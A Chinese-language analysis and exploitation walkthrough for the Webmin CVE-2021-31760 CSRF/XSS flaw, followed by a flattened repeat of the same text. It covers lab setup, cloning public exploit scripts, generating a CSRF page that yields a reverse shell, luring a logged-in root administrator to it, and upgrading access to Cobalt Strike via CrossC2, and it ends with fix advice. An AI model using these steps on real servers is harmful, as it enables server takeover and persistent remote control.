CVE-2021-31760 Webmin 跨站请求伪造漏洞
字数 1433 2025-08-12 11:33:41

Webmin 跨站请求伪造漏洞 (CVE-2021-31760) 分析与利用指南

漏洞概述

Webmin 是一个基于 Web 的界面,用于类 Unix 系统的管理工具。该漏洞存在于 Webmin 1.973 及更低版本中,当使用 setup.pl 脚本安装 Webmin 时,会出现 XSS 和 CSRF 漏洞组合,可能导致服务器被完全控制。

漏洞类型:跨站请求伪造 (CSRF) 结合跨站脚本 (XSS)

CVSS 评分:高危漏洞

影响范围:Webmin 版本 ≤1.973 且使用 setup.pl 脚本安装的情况

漏洞原理

  1. CSRF 漏洞根源:使用 setup.pl 脚本安装的 Webmin 默认不会启用检查未知引用的程序,即 /etc/webmin/config 文件中缺少 referers_none=1 配置项,导致缺乏 Referer 字段验证。

  2. XSS 漏洞利用:攻击者可以构造恶意请求,通过 /proc/run.cgi 的 cmd 参数提交命令执行代码。

  3. 攻击链:CSRF + XSS → 命令执行 → 服务器控制

漏洞条件

  1. 服务器条件

    • Webmin 版本 ≤1.973
    • 使用 setup.pl 脚本安装
    • /etc/webmin/configreferers_none=0 或未设置
  2. 客户端条件

    • 管理员已登录 Webmin 且未退出
    • 管理员以 root 身份登录
    • 管理员在保持登录状态下访问攻击者构造的恶意页面

环境搭建

目标环境配置

  1. 下载 Webmin 1.973:

    wget http://prdownloads.sourceforge.net/webadmin/webmin_1.973_all.deb
    
  2. 安装依赖:

    apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python unzip
    
  3. 安装 Webmin:

    dpkg -i webmin_1.973_all.deb
    
  4. 手动创建漏洞环境(如使用 deb 安装默认安全):

    • 修改 /etc/webmin/config 文件,将 referers_none=1 改为 referers_none=0

测试环境说明

  • 攻击机:192.168.91.135 (Kali Linux 2021)
  • 目标机:192.168.91.137 (Ubuntu 18.04 Desktop)
  • Webmin 访问地址:https://192.168.91.137:10000

漏洞利用步骤

1. 获取漏洞利用脚本

git clone https://github.com/electronicbots/CVE-2021-31760
# 或备用源
git clone https://github.com/sukusec301/CVE-2021-31760

2. 生成 CSRF PoC

cd CVE-2021-31760
python3 RCE_eXploit.py

按照提示输入:

  • 目标 IP
  • 攻击机 IP
  • 监听端口
  • 反弹 shell 类型

脚本将生成 CSRF_POC.html 文件。

3. 启动 HTTP 服务

python3 -m http.server 5555

4. 诱导管理员访问

在管理员保持 Webmin 登录状态下,诱导其访问:

http://攻击机IP:5555/CSRF_POC.html

5. 获取反弹 shell

攻击机监听指定端口,将收到目标机器的 bash 反弹 shell。

6. 升级到 Cobalt Strike

  1. 启动 CS 服务:

    nohup ./teamserver 192.168.91.135 mima &
    ./cobaltstrike &
    
  2. 安装 CrossC2 插件(使 CS 支持 Linux 上线):

    • 下载:https://github.com/gloxec/CrossC2
    • 导入到 Cobalt Strike
  3. 将获得的 shell 转换为交互式 shell:

    python3 -c "import pty;pty.spawn('/bin/bash')"
    
  4. 使用 CrossC2 生成上线命令,使目标上线。

漏洞修复建议

  1. 首要修复方案

    • 升级 Webmin 到 1.973 以上版本
  2. 次选方案

    • 使用标准 RPM、Deb、TAR 或 Solaris 软件包安装,避免使用 setup.pl 脚本
  3. 临时缓解措施

    • /etc/webmin/config 中添加 referers_none=1 配置项

注意事项

Webmin 跨站请求伪造漏洞 (CVE-2021-31760) 分析与利用指南 漏洞概述 Webmin 是一个基于 Web 的界面,用于类 Unix 系统的管理工具。该漏洞存在于 Webmin 1.973 及更低版本中,当使用 setup.pl 脚本安装 Webmin 时,会出现 XSS 和 CSRF 漏洞组合,可能导致服务器被完全控制。 漏洞类型 :跨站请求伪造 (CSRF) 结合跨站脚本 (XSS) CVSS 评分 :高危漏洞 影响范围 :Webmin 版本 ≤1.973 且使用 setup.pl 脚本安装的情况 漏洞原理 CSRF 漏洞根源 :使用 setup.pl 脚本安装的 Webmin 默认不会启用检查未知引用的程序,即 /etc/webmin/config 文件中缺少 referers_none=1 配置项,导致缺乏 Referer 字段验证。 XSS 漏洞利用 :攻击者可以构造恶意请求,通过 /proc/run.cgi 的 cmd 参数提交命令执行代码。 攻击链 :CSRF + XSS → 命令执行 → 服务器控制 漏洞条件 服务器条件 : Webmin 版本 ≤1.973 使用 setup.pl 脚本安装 /etc/webmin/config 中 referers_none=0 或未设置 客户端条件 : 管理员已登录 Webmin 且未退出 管理员以 root 身份登录 管理员在保持登录状态下访问攻击者构造的恶意页面 环境搭建 目标环境配置 下载 Webmin 1.973: 安装依赖: 安装 Webmin: 手动创建漏洞环境(如使用 deb 安装默认安全): 修改 /etc/webmin/config 文件,将 referers_none=1 改为 referers_none=0 测试环境说明 攻击机 :192.168.91.135 (Kali Linux 2021) 目标机 :192.168.91.137 (Ubuntu 18.04 Desktop) Webmin 访问地址 :https://192.168.91.137:10000 漏洞利用步骤 1. 获取漏洞利用脚本 2. 生成 CSRF PoC 按照提示输入: 目标 IP 攻击机 IP 监听端口 反弹 shell 类型 脚本将生成 CSRF_POC.html 文件。 3. 启动 HTTP 服务 4. 诱导管理员访问 在管理员保持 Webmin 登录状态下,诱导其访问: 5. 获取反弹 shell 攻击机监听指定端口,将收到目标机器的 bash 反弹 shell。 6. 升级到 Cobalt Strike 启动 CS 服务: 安装 CrossC2 插件(使 CS 支持 Linux 上线): 下载:https://github.com/gloxec/CrossC2 导入到 Cobalt Strike 将获得的 shell 转换为交互式 shell: 使用 CrossC2 生成上线命令,使目标上线。 漏洞修复建议 首要修复方案 : 升级 Webmin 到 1.973 以上版本 次选方案 : 使用标准 RPM、Deb、TAR 或 Solaris 软件包安装,避免使用 setup.pl 脚本 临时缓解措施 : 在 /etc/webmin/config 中添加 referers_none=1 配置项 注意事项